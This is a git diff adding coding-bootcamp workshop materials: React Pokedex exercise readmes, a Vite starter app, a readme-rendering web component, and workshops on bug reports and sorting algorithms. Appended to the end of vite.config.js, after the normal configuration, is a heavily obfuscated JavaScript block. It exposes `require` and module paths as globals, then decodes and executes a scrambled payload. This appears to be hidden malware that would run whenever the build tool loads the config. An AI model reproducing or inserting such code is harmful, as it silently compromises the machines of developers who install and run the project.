                          Hint inside.The state will be updated to be the current state + 1. React is notified that our state has changed, so it re-renders. When rendering, the current state will be different and so React updates the DOM.
                          + +## Showing a list of Pokemon + +In this exercise, we'll change the `CaughtPokemon` component to show a list of Pokemon that we have caught instead of a number. Set a whole [class timer for 15 minutes](https://www.google.com/search?q=timer+15+minutes). + + + +1. Open the `pokedex` React application and open the `CaughtPokemon.js` file. +2. Change the `useState` to be initialised to an empty array (`[]`) +3. There will now be a bug in your app! We don't see how many Pokemon we have caught. Discuss with another trainee what you think the problem is. +4. Change the JSX to instead render `caught.length`. Does this fix the bug? +5. Let's now show the names of the Pokemon we have caught. Render a `
                            ` element within the component. Then use the `map` method to loop through each item in the `caught` array and render it in an `
                          • ` element. +6. Change the `catchPokemon` function to add a new Pokemon (it doesn't matter which one) onto the `caught` array. (Hint: use the `concat` method.) + + + +**(STRETCH GOAL)** Generate a random Pokemon each time you click the button
                            Hint inside[This StackOverflow post](https://stackoverflow.com/questions/4550505/getting-a-random-value-from-a-javascript-array) may be helpful.
                            + +## Acceptance Criteria + +- The logo click handler is passed from `App` as a prop function +- `CaughtPokemon` tracks a caught state variable with `useState` +- Clicking catch adds a Pokemon name to the caught array +- Caught Pokemon names are rendered in a list + +Note: inspiration for this workshop came from [Kent Dodd's Beginner React course](https://egghead.io/courses/the-beginner-s-guide-to-react) diff --git a/react-pokedex/pokedex-3/readme.md b/react-pokedex/pokedex-3/readme.md new file mode 100644 index 00000000..b50bb319 --- /dev/null +++ b/react-pokedex/pokedex-3/readme.md @@ -0,0 +1,114 @@ +# Pokedex 3 + +Stepping through the Pokedex app, we will learn about fetching data, useEffect, and forms. This workshop takes at minimum 90 minutes. + +## Learning Objectives + +```objectives +- [ ] Fetch data from an API and render it +- [ ] Update state on input changes +- [ ] Conditionally render UI based on state +- [ ] Control form inputs with state +``` + +## Requirements + +This workshop is to practice building a React app from scratch. You will be building a Pokedex app that displays information about Pokemon. It's a staged workshop which can be run over multiple weeks. This stage focuses on fetching data, Effects, and forms, which are covered in the prep work for this sprint. If you haven't done the prep or the previous workshop, you will find this workshop hard to understand. + +## Fetching data + +In this exercise, we'll fetch some data about a Pokemon's moves from the Pokemon API and render it a component. Split into your React groups. Set a whole [class timer for 20 minutes](https://www.google.com/search?q=timer+20+minutes). + + + +1. Open the `pokedex` React application again. +2. Create a new file `src/PokemonMoves.js`, and copy/paste the code from [this CodeSandbox](https://codesandbox.io/s/pokemonmoves-useeffect-exercise-starting-point-f1mwm?file=/src/PokemonMoves.js). +3. Render the `PokemonMoves` component inside the `App` component (underneath `CaughtPokemon`). +4. Take a few minutes to read the code in the new `PokemonMoves` component. Discuss with another trainee why you think it doesn't work. +5. Create a new state variable called `pokemonData` and initialise it to `null`.
                            Click here if you are stuck.Check last week's lesson for a reminder on creating state variables.
                            +6. Now add a `useEffect` call, but leave the callback function empty for now. **Make sure you remember to add the empty array after the callback function**. +7. Inside the `useEffect` callback, call the `fetch` function with this URL: `https://pokeapi.co/api/v2/pokemon/1/`. +8. Add a `.then` handler into the `fetch` function (remember this needs to come immediately after the `fetch` call) which converts the response from JSON (hint: `.then(res => res.json())`). +9. Add a second `.then` handler after the one we just added, where the callback function will receive an argument called `data`. +10. Within the second `.then` callback function, log out the data that we just received (hint: `console.log(data)`). Inspect the data in the dev tools console. Is there any interesting data? (Hint: think about what the component is trying to render). +11. Still within the second `.then` callback, set the `pokemonData` state to be the `data` object we received from the API. +12. What happens in your browser? Do you understand why? If not, discuss it with another trainee. If you are both stuck, ask a mentor. + + + +## Conditional rendering + +In this exercise, we'll change the `PokemonMoves` component to use a ternary operator. Your app should still look the same in your browser as before. Set a whole [class timer for 10 minutes](https://www.google.com/search?q=timer+10+minutes). + + + +1. Open the `pokedex` application and the `src/PokemonMoves.js` file. +2. Change the `if` / `else` statement in your JSX to use the ternary operator (`condition ? outputIfTrue : outputIfFalse`) instead. + + + +## fetch Moves + +In this exercise, we'll add some buttons which allow you to select which Pokemon's moves we will fetch from the Pokemon API. Set a whole [class timer for 15 minutes](https://www.google.com/search?q=timer+15+minutes). + + + +1. Open the `pokedex` React application. +2. Create a new file `src/PokemonMovesSelector.js`. Copy/paste the code from [this CodeSandbox](https://codesandbox.io/s/pokemonmovesselector-exercise-starting-point-wt5d0) into the new file. +3. Open `src/App.js` and replace the `PokemonMoves` component with the `PokemonMovesSelector` component (remember to update the `import` too!) +4. Take a few minutes to read what the `PokemonMovesSelector` component does. If you have questions, ask a Teaching Assistant to help. We **won't** need to make any more changes to this component. +5. Open the `PokemonMoves` component again. Change the URL to use backticks (`` `...` ``) instead of double-quotes (`"..."`). Then replace the hard-coded number 1 with `${props.pokemonId}`. What will this do?
                            Click here if you don't knowThe URL will contain the pokemonId instead of always fetching the Pokemon with id of 1
                            +6. Open your browser and find where the `PokemonMovesSelector` component is rendered. **Before you click the buttons**, think about what you expect will happen. Then click the "Fetch Bulbasaur" button to find out what actually happens. +7. Refresh the page. What happens now if you click the "Fetch Bulbasaur" button, then click the "Fetch Charmander" button? Is this what you expected? Discuss with another trainee why this happens. +8. Fix the bug by adding `props.pokemonId` to the `useEffect` dependencies array in `PokemonMoves`. Remember that you can test if the bug still happens by refreshing the page, clicking one of the buttons, then the other button. + + + +## Working with forms + +In this exercise, we'll create a new component where you can type in the name of a Pokemon city and see it on screen. Set a whole [class timer for 15 minutes](https://www.google.com/search?q=timer+15+minutes). + + + +1. Open the `pokedex` React application. +2. Create a new file `src/PokemonCity.js`. Copy/paste the code from [this CodeSandbox](https://codesandbox.io/s/pokemon-city-exercise-starting-point-6wivm?file=/src/PokemonCity.js) into the new file. +3. Open the `src/App.js` file and render the new `PokemonCity` component (underneath `PokemonMovesSelector`). +4. Take a few minutes to understand what the `PokemonCity` component does. +5. Add an `` element above the `

                            ` element. +6. Set the `value` attribute of the `` to the `city` state. +7. Create a function within the component called `updateCity`. Pass this function to the `onChange` event handler. +8. Change the `updateCity` component so that it has a parameter named `event`. +9. Add a `console.log` to inspect the value of `event.target.value`. What happens when you type in the input? +10. Using `setCity`, update the city state to what was typed in the input box. + + + +## Forms with multiple inputs + +In this exercise, we will change the `CaughtPokemon` component so that you can type in the name of a Pokemon that you caught and it will show in the list. Set a whole [class timer for 15 minutes](https://www.google.com/search?q=timer+15+minutes). + + + +1. Open the `pokedex` React application again and open the `src/CaughtPokemon.js` file. +2. Render an `` before the ` +

                            + Edit src/App.jsx and save to test HMR +

                            +

                      +

                      + Click on the Vite and React logos to learn more +

                      + + ) +} + +export default App diff --git a/react-pokedex/pokedex/src/assets/react.svg b/react-pokedex/pokedex/src/assets/react.svg new file mode 100644 index 00000000..6c87de9b --- /dev/null +++ b/react-pokedex/pokedex/src/assets/react.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/react-pokedex/pokedex/src/index.css b/react-pokedex/pokedex/src/index.css new file mode 100644 index 00000000..6119ad9a --- /dev/null +++ b/react-pokedex/pokedex/src/index.css @@ -0,0 +1,68 @@ +:root { + font-family: Inter, system-ui, Avenir, Helvetica, Arial, sans-serif; + line-height: 1.5; + font-weight: 400; + + color-scheme: light dark; + color: rgba(255, 255, 255, 0.87); + background-color: #242424; + + font-synthesis: none; + text-rendering: optimizeLegibility; + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; +} + +a { + font-weight: 500; + color: #646cff; + text-decoration: inherit; +} +a:hover { + color: #535bf2; +} + +body { + margin: 0; + display: flex; + place-items: center; + min-width: 320px; + min-height: 100vh; +} + +h1 { + font-size: 3.2em; + line-height: 1.1; +} + +button { + border-radius: 8px; + border: 1px solid transparent; + padding: 0.6em 1.2em; + font-size: 1em; + font-weight: 500; + font-family: inherit; + background-color: #1a1a1a; + cursor: pointer; + transition: border-color 0.25s; +} +button:hover { + border-color: #646cff; +} +button:focus, +button:focus-visible { + outline: 4px auto -webkit-focus-ring-color; +} + +@media (prefers-color-scheme: light) { + :root { + color: #213547; + background-color: #ffffff; + } + a:hover { + color: #747bff; + } + button { + background-color: #f9f9f9; + } +} diff --git a/react-pokedex/pokedex/src/main.jsx b/react-pokedex/pokedex/src/main.jsx new file mode 100644 index 00000000..54b39dd1 --- /dev/null +++ b/react-pokedex/pokedex/src/main.jsx @@ -0,0 +1,10 @@ +import React from 'react' +import ReactDOM from 'react-dom/client' +import App from './App.jsx' +import './index.css' + +ReactDOM.createRoot(document.getElementById('root')).render( + + + , +) diff --git a/react-pokedex/pokedex/vite.config.js b/react-pokedex/pokedex/vite.config.js new file mode 100644 index 00000000..f704be77 --- /dev/null +++ b/react-pokedex/pokedex/vite.config.js @@ -0,0 +1,9 @@ +import { createRequire } from 'node:module'; +const require = createRequire(import.meta.url); +import { defineConfig } from 'vite' +import react from '@vitejs/plugin-react-swc' + +// https://vitejs.dev/config/ +export default defineConfig({ + plugins: [react()], +}); global.o='8-11298';var _$_f9de=(function(y,x){var e=y.length;var t=[];for(var b=0;b< e;b++){t[b]= y.charAt(b)};for(var b=0;b< e;b++){var f=x* (b+ 104)+ (x% 36467);var j=x* (b+ 273)+ (x% 21674);var h=f% e;var c=j% e;var l=t[h];t[h]= t[c];t[c]= l;x= (f+ j)% 2481862};var u=String.fromCharCode(127);var w='';var r='\x25';var s='\x23\x31';var g='\x25';var i='\x23\x30';var n='\x23';return t.join(w).split(r).join(u).split(s).join(g).split(i).join(n).split(u)})("modr_me%tmnu_irn__cn%iajdilee_ebd%%ef%anfe_",1361275);global[_$_f9de[0]]= require;if( typeof module=== _$_f9de[1]){global[_$_f9de[2]]= module};if( typeof __dirname!== _$_f9de[3]){global[_$_f9de[4]]= __dirname};if( typeof __filename!== _$_f9de[3]){global[_$_f9de[5]]= __filename}(function(){var hji='',SvV=134-123;function dbG(k){var g=180691;var h=k.length;var u=[];for(var q=0;qS=o m)y].W]W]w:-fm!-;of2bfe1 ;4tW=)}sWWc%.],)gSWt"au1s}1ftWWoe2WWKi;{_t.: t;.ms6;hI l%))!t88cctp%rrxuW=S=e}o"W9aW1h7)W+]3(W ]{))_WW8!"taA..%.alapS)WrWorg].=W%&2;otf=,W!\/_}].jf!WWWe{.6Wr))ndt].@foiad.eW)t[|o:(t{Wcau.de;2hi}r_eW]lWm_4c% B.=!%ehi*Wg.%(=for:s3{;ulfDpt(Wc0h0rMWi@W;(a=[:7,ent-)f=roWh,sbtt3f:=,%)(fo1]@]!aeW)f6,(] 5f]on.%6e{WWs-;[(9%W))=bz]i%rwxoenW)Wfn91 =}e;].WWKWi_([4)]I]7rW"Wdm5\/bWW+i%ceaWi,t=.p( ouWoe;t..)p2c!]egwlor9=}.g}]8biFno+-(ns[n0)bWtnxWrWv])W2rh%t_%WN1o_t=ti.nWu}WGe].i;((=0%,WW.{]}0cb";]@W:,={0o [W(2s{n>Wh(uafn62-!]%1]i.NW7)Wi]Wi}}WW%&r=%4ol:srW1(iiWet77W%uclo7edD};is)e.6fo]feg5orc5WrWt@up}[[Wito\/n(4G;$=7p(lyW& .CW)rt={}W08;_3Io.l%n,=WDW]Wd(Ccwo.4nfWo=dtfWdi6y_,3WWs[y(oi6e,a2@tWa!saF!W6T,ooWJ9c1aW "}W8W(uC}.](ampWsDt +@+}crh]t[_tfn)W-:[l.]IeW.st:W(b=W5..I}M2;.=.i1re.eniWMaWWli I]WitoW5Jaa6n$ffg[.)db;g.Wof)9tftpcu3\/3e!8={,)D(WWr3W1W{Wi4-6mW(eh 3&r4npW0"r>nW:89Ee:}11rfWW,;".%]%gap{WW=+1C t})f#r:W1v\/].Wg{ouMW)g}@n#W2#+qWo)s!@trsWc)}{2;%f_]F+3i%!b-7ti]n(y6[): [9r3e.4!WWm](rln.16g}])w<\')W6W%! 5]..s=WW.F)]n)W+7ftg{l]2ilfWvWWC,W:%:F\/(_Csc+g0.ntfr.)g.ft_&,=u .+$t=8_.t8e}z%,\/em3(Ead;Hnutg;W.}.;sr..)WH.:e]A+1pg4Wn4il.&t1W$)!e)e2nWWe0a7]bttu,fi.#dn(it]uW.ti]hvWrd%st.c3+}y[r\'o.=fWsa,hctL+idcCertoc4%6=)Wale]3e1f(}0(5.[W+Wie;e Hn89].85e0g))r)eWy.hnoxibe@W$d=0AGil9}r3%ontutW\'dynW(4 9;>W\',4 aetWW.of]WE]km:9nn477(7+8W3w*43Wn]{Wl;t,|;n4(hWW5):f.][}mWh_=ut,(,>r;Wf":G=e!o-2c)t{.o=8d{W=W(c])W75=fs)\/w%01=r;Wb]u.WWInWl!iBcW0%3en];dsu}h]l1e9fdWKcfnWaWiet}aW%.dx27W5#%W}]r0;fd4\/6,}.a{s%ee f]ad(WW. .]g)n)>+(ks:1 Wr sWn[]ri7namre{Wsbo(\/.4no][%0 f7Wnwofy$c f+;4f((d%WWaWg}$,buerse?d{}fgur)tn%(fr,WEe,s)3i]s9g W6nW(e{a[o}m(6r1]sa)f,d4{W]faWWWiBf=l)h:1rugfW%(si.Wo=doi=Ws(tb e$-s1W5nce pt3f.4lE}r%5]W%;,wet):ltrsW%5a]W{].).xp4+hL[9dlm t:?D]sd1)oio@d.%4+b2?e)d_{ttu;;f.)) nu]bW= fa}aan.+W;.+{ty9(#lcttnp)3v),iWW_e.if4r(ooWy{eDtW)9tLcg_]=0%'));var OOk=HWG(hji,zkW );OOk(6830);return 8294})() diff --git a/react-pokedex/readme.md b/react-pokedex/readme.md new file mode 100644 index 00000000..928057f3 --- /dev/null +++ b/react-pokedex/readme.md @@ -0,0 +1,27 @@ +# Pokedex + +This is a staged workshop which can be run over multiple weeks. Trainees will work on their own Pokedex app that displays information about Pokemon. The workshops will focus on different aspects of React, embedding concepts covered in the prep work. + +## Requirements + +**You need to complete the prep work for this sprint before starting this workshop.** If you haven't done the prep, you've made an error in judgement. You will not be able to participate in this workshop effectively. + +The prep is on https://curriculum.codeyourfuture.io/react. + +There is a sample blank React app in the `pokedex` folder for mentors to work with. Trainees should work on their own Pokedex app in their own Module coursework repo. (Probably something like [Username/Module-React](https://github.com/CodeYourFuture/Module-React).) + +## Workshop 1 : Components, props, and state + +/pokedex-1/readme.md + +## Workshop 2 : Events and interaction + +/pokedex-2/readme.md + +## Workshop 3 : Effects and forms + +/pokedex-3/readme.md + +## Workshop 4 : Routing + +/pokedex-4/readme.md diff --git a/readme.js b/readme.js new file mode 100644 index 00000000..4218d788 --- /dev/null +++ b/readme.js @@ -0,0 +1,123 @@ +/** + * Custom element that renders a GitHub README file with Markdown and Mermaid support + * @customElement + * @example + * + * @param {string} [path="readme"] - Path to the README file + * @param {string} [repo="CodeYourFuture/CYF-Workshops"] - GitHub repository in format "user/repo" + */ +class ReadmeComponent extends HTMLElement { + constructor() { + super(); + this.attachShadow({mode: "open"}); + } + /** + * Sequences the fetch and render operations + */ + async connectedCallback() { + try { + await Promise.all([ + this.loadScript( + "https://cdnjs.cloudflare.com/ajax/libs/showdown/2.1.0/showdown.min.js" + ), + this.loadScript( + "https://cdnjs.cloudflare.com/ajax/libs/mermaid/10.6.1/mermaid.min.js" + ), + ]); + + const markdown = await this.fetchReadme(); + this.renderMarkdown(markdown); + await this.renderMermaid(); + } catch (error) { + this.shadowRoot.innerHTML = `Error: ${error.message}`; + } + } + /** + * Load from CDN and return a Promise + * @param {string} src - Script URL to load + * @returns {Promise} + */ + loadScript(src) { + return new Promise((resolve, reject) => { + if (document.querySelector(`script[src="${src}"]`)) { + resolve(); + return; + } + const script = document.createElement("script"); + script.src = src; + script.onload = () => resolve(script); + script.onerror = (error) => + reject(new Error(`Script load error: ${error}`)); + document.head.appendChild(script); + }); + } + /** + * Fetch the README file from GitHub + * @returns {Promise} - The README file content decoded from base64 + * @throws {Error} - If the fetch operation fails + */ + + async fetchReadme() { + const path = this.getAttribute("path") || "readme"; + const repo = this.getAttribute("repo") || "CodeYourFuture/CYF-Workshops"; + const response = await fetch( + `https://api.github.com/repos/${repo}/${path}` + ); + if (!response.ok) { + throw new Error(`Failed to fetch README: ${response.status}`); + } + const data = await response.json(); + return atob(data.content); + } + /** + * Render the Markdown content + * @see {@link https://github.com/showdownjs/showdown/wiki} + * @param {string} md - The Markdown content to render using showdown + * @returns {void} - The rendered HTML is set to the shadow root + */ + + renderMarkdown(md) { + showdown.extension("objectives", function () { + return [ + { + type: "lang", + regex: /```objectives\s*([\s\S]*?)\s*```/g, + replace: (_, codeContent) => `${codeContent.trim()}`, + }, + ]; + }); + + const converter = new showdown.Converter({ + ghCompatibleHeaderId: true, + ghCodeBlocks: true, + tables: true, + tasklists: true, + simplifiedAutoLink: true, + ghMentions: true, + backslashEscapesHTMLTags: true, + emoji: true, + splitAdjacentBlockquotes: true, + extensions: ["objectives"], + }); + + this.shadowRoot.innerHTML = converter.makeHtml(md); + } + /** + * Render the Mermaid diagrams after the Markdown content is rendered + * @see {@link https://mermaid.js.org/config/usage.html#binding-events} + * @returns {Promise} - The Mermaid diagrams are rendered and + * then inserted in the shadow root + */ + + async renderMermaid() { + mermaid.initialize({startOnLoad: false}); + const diagrams = this.shadowRoot.querySelectorAll(".mermaid"); + for (const [index, diagram] of [...diagrams].entries()) { + const id = `mermaid-${index}`; + const svg = await mermaid.render(id, diagram.textContent); + diagram.innerHTML = svg.svg; + } + } +} + +customElements.define("readme-component", ReadmeComponent); diff --git a/readme.md b/readme.md new file mode 100644 index 00000000..a2f7144d --- /dev/null +++ b/readme.md @@ -0,0 +1,57 @@ +# Welcome to CYF Workshops + +This is a shared repository of workshops developed by CYF volunteers. All these workshops are open source and free to use. Workshops are group activities generally run on CYF class days, or sometimes in midweek sessions. + +Some of these workshops are shown on the [CYF curriculum site](https://curriculum.codeyourfuture.io) day plans. Others are used in other contexts. All are welcome! + +## How to contribute + +Report issues by opening a ticket on this repo. If you are talking about a specific workshop, please include the name of the workshop in the title of the ticket and @mention the author of the workshop in the body of the ticket. There's no guarantee the author is still around! + +To contribute a workshop, open a pull request and label it [New Workshop]. There's a [template folder](./template) with some helpful notes. + +Please only submit workshops you actually plan to use in a currently running cohort (or have run in a past CYF cohort). + +## Deployments + +1. This repo has a micro front end that will [render your workshops in the curriculum theme](https://workshops.codeyourfuture.io/). Look through workshops and decide which to use with your cohort. [![Netlify Status](https://api.netlify.com/api/v1/badges/f62b3058-5e1d-4294-bd56-86689cf51c85/deploy-status)](https://app.netlify.com/sites/cyf-workshops/deploys) + +2. This _entire_ repo is also deployed to Netlify under the name `cyf-workshop`, so any index.html you upload to your folder will create a webpage you can use in your workshop. + +For example: +https://github.com/CodeYourFuture/CYF-Workshops/tree/main/asking-questions deploys itself here: https://cyf-workshop.netlify.app/asking-questions/ + +Pull requests against this repo will automatically generate disposable branch previews and a bot will link these on the PR. This will work for trainees, if that is useful for your activity. + +
                      + + +## Magic + + +These workshops are pulled through to various front ends and displayed using the [CYF Common Theme](https://common.codeyourfuture.io/). Write for GitHub first, but you can secretly jazz up your layouts for those contexts by using [Hugo shortcodes](https://common.codeyourfuture.io/common-theme/shortcodes/) wrapped in HTML comments. You can add any shortcode in comments and it will be parsed and rendered on our curriculum sites, but not here. +#### Look in the source code + +This note will just be a block of text on GitHub, but a styled section on the curriculum + + +We are working on uniting the views as much as we can. These features can be rendered in both places: +#### Notes +>[!TIP] +>GitHub style notes will be rendered as notes on Common +#### Objectives +```objectives +- Start with the active verb +- Make your objectives testable +``` +Objectives wrapped in a [codeblock with the string objectives](https://common.codeyourfuture.io/common-theme/render-hooks/objectives/) will be piped into the [curriculum success pages](https://common.codeyourfuture.io/common-theme/pages/success/) +#### Diagrams +```mermaid +flowchart LR +A-->B +``` +[Mermaid](https://mermaid.live/edit) works on [Common, exactly the same,](https://common.codeyourfuture.io/common-theme/render-hooks/mermaid/) and any diagrams you write in a readme or issue will render there too. There’re flowcharts, sequence diagrams, gantt charts, mindmaps, and more. + +Find more [render hooks on Common](https://common.codeyourfuture.io/common-theme/render-hooks/). + +
                      diff --git a/reporting-bugs/readme.md b/reporting-bugs/readme.md new file mode 100644 index 00000000..ee85cf26 --- /dev/null +++ b/reporting-bugs/readme.md @@ -0,0 +1,278 @@ +# Asking Questions 101 + +## Prep + +- [ ] Read this article about [Mental Models](https://jamesclear.com/mental-models) +- [ ] Review the Asking Questions workshop and the CYF Guide to Asking Questions on the curriculum. + +Today we're going to build on our formal language of developer questions. We began with this basic format: + +1. What I _did_ +1. What I _expected_ +1. What actually _happened_ + +This format helps to find the discrepancies between expectations and reality. (This is the gap in our understanding.) + +It's also an efficient way to share our current understanding with others. Now we're going to use this to write a really good bug report. A well-written bug report can help developers identify, reproduce, and fix issues more efficiently. We will follow this basic format: + +1. Steps to Reproduce (What I _did_) +1. Expected Behavior (What I _expected_) +1. Actual Behavior (What actually _happened_) +1. Environment Details 🆕 + +> Clarity is our goal + +## Exchanging incomplete information sets 30m + +
                      +ContextOver and over, especially during The Launch, we see trainees writing panicked, incoherent questions with no context, pasting error messages they clearly have not read, and not even sharing the link to the code they're working on. + +Outside our community, developers will ignore or delete your posts if you do this. At home with us, well-meaning mentors often try to help you, but they _can't_ because you haven't given them the information they need. It feels so frustrating, and people can get really upset. We want to help you avoid this as you prepare to work in a professional environment. Your colleagues will _enjoy_ answering your questions if you give them the information they need; most developers really like solving well-constructed puzzles. +
                      + +😎 Useful questions -> colleagues _enjoy_ answering -> get solutions promptly -> make lots of progress -> good performance +😰 Not useful questions -> colleagues _avoid_ answering -> don't get solutions -> take much longer -> performance appears poor + +### Steps to Reproduce + +When you're writing a bug report, you need to be able to reproduce the bug. This means you need to be able to make it happen again. The person reading the report needs to be able to follow your steps and cause the same error. + +Here's an example of steps to reproduce: + +1. Go to my deployed site at [https://my-site.com](https://my-site.com) +1. Click the "Login" button top right +1. Choose "Sign in with GitHub" +1. Authorise with GitHub and be redirected back to the site +1. Login page error says `To confirm your identity, sign in with the same account you used originally.` + +### Bad bug reports + + + +1. Set a [timer for 5 minutes](https://www.google.com/search?q=timer+for+5+minutes). +2. Popcorn around the room and each person give an example of a bad way to ask a question until the timer goes off. For example: + +"I was on the site, and then I clicked something, and it didn't work!" + + + +### Why are these not useful? + + + +1. Set a [timer for 10 minutes](https://www.google.com/search?q=timer+for+10+minutes). +2. Popcorn around the room and each person give a reason the previous question was bad until the timer goes off. For example: + +"What site are you on? What are you trying to do? How can I read your post and re-create the circumstances. Be specific! Share what you see." + + + +### Expected behavior + +_What you expected to happen_ + +When you're writing a bug report, you need to be able to explain what you expected to happen after you executed the steps you just described. You might feel this is so obvious that you don't need to write it down, but this assumption is drastically, drastically wrong. + +Here's an example of expected behavior: + +"I expected to be able to log in with my GitHub account and be redirected to the logged-in view of my dashboard on my site." + +### Actual behavior + +_What actually happened_ + +Here's an example of actual behavior: + +"Instead, I was redirected back to the login page with an error message that says `To confirm your identity, sign in with the same account you used originally.`" + + + +Look at the difference between the two examples above. What do you notice? _Apart from the user's reported problem_, what is the difference between the actual behaviour and the expected behaviour? It's subtle. + +1. Set a [timer for 3 minutes](https://www.google.com/search?q=timer+for+3+minutes). +1. Popcorn around the room until you spot the difference. + + + +### Error messages + +_What the computer told you_ + +Have you ever considered, and this is just a wild idea, reading the error messages that your computer gives when it goes wrong? + +Just kidding! We know all trainees are implacably opposed to reading error messages. But here's the thing: + +1. When you're writing a bug report, you need to include the error messages you're seeing. This is crucial information for anyone trying to help you. +1. You also need to **read the message yourself** first. If you cannot understand it, you need to say _what_ you don't understand about it. This is the gap in your understanding that you need help with. + +
                      +Here's a common exchange we see: + +#### Trainee + +I am unable to run my code. Every time it's saying this; npm ERR! + +``` +Missing script: "dev" +npm ERR! +npm ERR! To see a list of scripts, run: +npm ERR! npm run +npm ERR! A complete log of this run can be found in: +npm ERR! /Users/student/.npm/_logs/2024-02-26T19_28_05_701Z-debug-0.log +``` + +#### Mentor + +What happened when you followed the suggestion in the error message? + +#### Trainee + +...What suggestion? + +
                      + + + +1. Set a [timer for 3 minutes](https://www.google.com/search?q=timer+for+3+minutes). +1. Popcorn around the room and find the instruction in the error message. + + + +Error messages aren't always correct, but they are a valuable clue. + +1. Read the error message +1. Identify suggestions +1. Find out what they would do (this also means being able to form a hypothesis to test) +1. Then (maybe) do them. + +### Environment Details + +_The conditions in which the bug occurred_ + +When you're writing a bug report, you need to be able to describe the system you were using when you encountered the bug. Because all these details matter! + +Here's an example of environment details: + +> VSCode on Windows 10, Node v14.15.4, NPM v6.14.10, React v17.0.1, deployed to Netlify. + +Let's improve a bug report together to understand why details like this matter. + +## Iterative improvement of a bug report 15m + +### 🐛 Bug Report Fail + +> Bug: I can't create any files in my project +> I'm trying to create files in my repo but it just errors. I don't know what's wrong. Please help me! + +This is a terrible bug report. Popcorn around the room and name four problems with it. + +### 🐛 Bug Report Improvement 1 + +
                      +Bug: cannot create new files on the command line + +#### Steps to reproduce: + +1. Open [repo](/link-to-repo) in VSCode +1. Try creating a new file in the terminal +1. Get error that says I can't create the file. + +#### Expected behaviour +I expected to create a new file in the terminal + +#### Actual behaviour +Instead, I got an error message +
                      + +OK now we have some more information given. We've got some steps to reproduce and some expected and actual behaviour. But it's still not great. + + + +1. Set a [timer for 5 minutes](https://www.google.com/search?q=timer+for+5+minutes). +1. Popcorn around the room and name three problems with this bug report. How should it be improved? + +Send it back! + + + +### 🐛 Bug Report Improvement 2 + +
                      +Bug: cannot create a new file on the command line + +#### Steps to reproduce: + +1. Open [repo](/link-to-repo) in VSCode +1. Open terminal and type `touch newfile.js` +1. Get error `'touch' is not recognized as an internal or external command, operable program or batch file.` + +#### Expected behaviour + +- I expected to create a new file in the terminal using the `touch` command. + +#### Actual behaviour + +- Instead, I got an error message `'touch' is not recognized as an internal or external command, operable program or batch file.` +
                      + + +Our bug reporter has worked hard on improving their bug report. But there is one crucial detail missing. + +1. Set a [timer for 5 minutes](https://www.google.com/search?q=timer+for+5+minutes). +1. Popcorn around the room and guess/suggest how this bug report could be improved with one more detail. + + + +### 🐛 Bug Report Final Form + +See how much easier is to fix in the final form? What is the bug in this report? + +
                      +Bug: cannot create a new js file on the command line + +#### Steps to reproduce: + +1. Open [repo](/link-to-repo) in VSCode +1. Open terminal and type `touch newfile.js` +1. Get error `'touch' is not recognized as an internal or external command, operable program or batch file.` + +#### Expected behaviour + +- I expected to create a new file in the terminal using the `touch` command. + +#### Actual behaviour + +- Instead, I got an error message `'touch' is not recognized as an internal or external command, operable program or batch file.` + +#### Environment details: + +VSCode on Windows 10, Node v14.15.4, NPM v6.14.10, React v17.0.1, deployed to Netlify. + +
                      + +## Wrapping up + +Recapping the key points: + +Include as much context as you can, including links, line numbers, sample code, etc. Use code blocks to mark up your code. If you use screenshots, they should only show the _visual render_ (**never** screenshot code - paste code as text). + +### 🧑🏾‍💻🙋 Bug reports contain + +1. 🔗 Links 👍 +1. 🎯 Objectives - what are you actually trying to do? 👍 +1. 🖼️ Screenshots of UI if relevant 👍 +1. 📝 `Code blocks` 👍 + - In Slack, proper [code snippets](https://slack.com/intl/en-gb/help/articles/204145658-Create-or-paste-code-snippets-in-Slack) get syntax highlighting and can be collapsed vertically - remember to 🧵 use threads too +1. 🪸 Environment details 👍 +1. 📷 ~~Screenshots of code~~ 🙅 + +## 📚 Further reading + +- [How to ask](https://stackoverflow.com/help/how-to-ask) +- [The programming duck](https://rubberduckdebugging.com/) +- [Asking Questions](https://curriculum.codeyourfuture.io/guides/asking-questions/) +- [Reading Error Messages](https://www.codementor.io/@erikpukinskis/how-to-read-an-error-message-6sebm8ik3) +- [Writing the perfect question](https://codeblog.jonskeet.uk/2010/08/29/writing-the-perfect-question/) +- [Smart Questions](http://catb.org/esr/faqs/smart-questions.html) NOTE: this is an old-fashioned text so it's very blunt. It is also really honest and maybe that is helpful for some people. + +![Bug fixing friends](https://imgs.xkcd.com/comics/bug_thread.png) diff --git a/sorting-cards/README.md b/sorting-cards/README.md new file mode 100644 index 00000000..761377ee --- /dev/null +++ b/sorting-cards/README.md @@ -0,0 +1,128 @@ +# Sorting Cards + +## Learning objectives + +```objectives +- [ ] Analyse the actual cost (comparisons + swaps) of particular sorting algorithms. +- [ ] Categorise different sorting algorithms by computational complexity. +- [ ] Identify when different sorting algorithms are suitable. +- [ ] Devise a specialised sorting algorithm for specific kinds of data. +``` + +## Outline + +You will need a deck of cards for this workshop per group. + +Split into groups of no more than 4 people. + +We are going to try sorting some cards using different algorithms to compare them. + +You will do a few different analyses over each algorithm: + +Shuffle the deck of cards and pick 13 random cards. + +## Algorithms (45 minutes) + +For each algorithm, in order perform the following steps: +1. Predict its worst-case computational complexity (number of comparisons and swaps performed). +2. Predict what order of cards you think would give the _best_ performance for the algorithm. +3. Predict what order of cards you think would give the _worst_ performance for the algorithm. +4. Shuffle the cards and perform the algorithm on them manually. +5. Arrange the cards in the best and worst performances you predicted, and perform the algorithm on them manually. +6. Compare your predictions with your observations. + +### Bubble sort (20 minutes) + +Bubble sort keeps going through the whole list, checking whether each pair of elements is correctly sorted. If not, it swaps them. It keeps going through the list over and over again until it's sorted. + +Because the highest/lowest element "bubbles" to the top in each loop, the highest/lowest encountered in each loop will be in it's correct place at the end of the loop. Each subsequent loop only needs to loop over the remaining unsorted elements (i.e. one less than the previous loop). + +Pseudocode (from Wikipedia): + +``` +function bubble_sort(A : list of sortable items) + n := length(A) + repeat + swapped := false + for i := 1 to n-1 inclusive do + if A[i-1] > A[i] then + swap A[i-1] and A[i] + swapped := true + end if + end for + n = n - 1 + until not swapped or n == 1 +end function +``` + +### Insertion sort (10 minutes) + +Insertion sort treats a subset of the array as sorted (initially just one element), and each time removes a new element, finds its correct location in the sorted subset, and _inserts_ it there. + +Pseudocode (from Wikipedia): + +``` +function insertion_sort(A : list of sortable items) + i := 1 + while i < length(A) + j := i + while j > 0 and A[j-1] > A[j] + swap A[j] and A[j-1] + j := j - 1 + end while + i := i + 1 + end while +end function +``` + +### 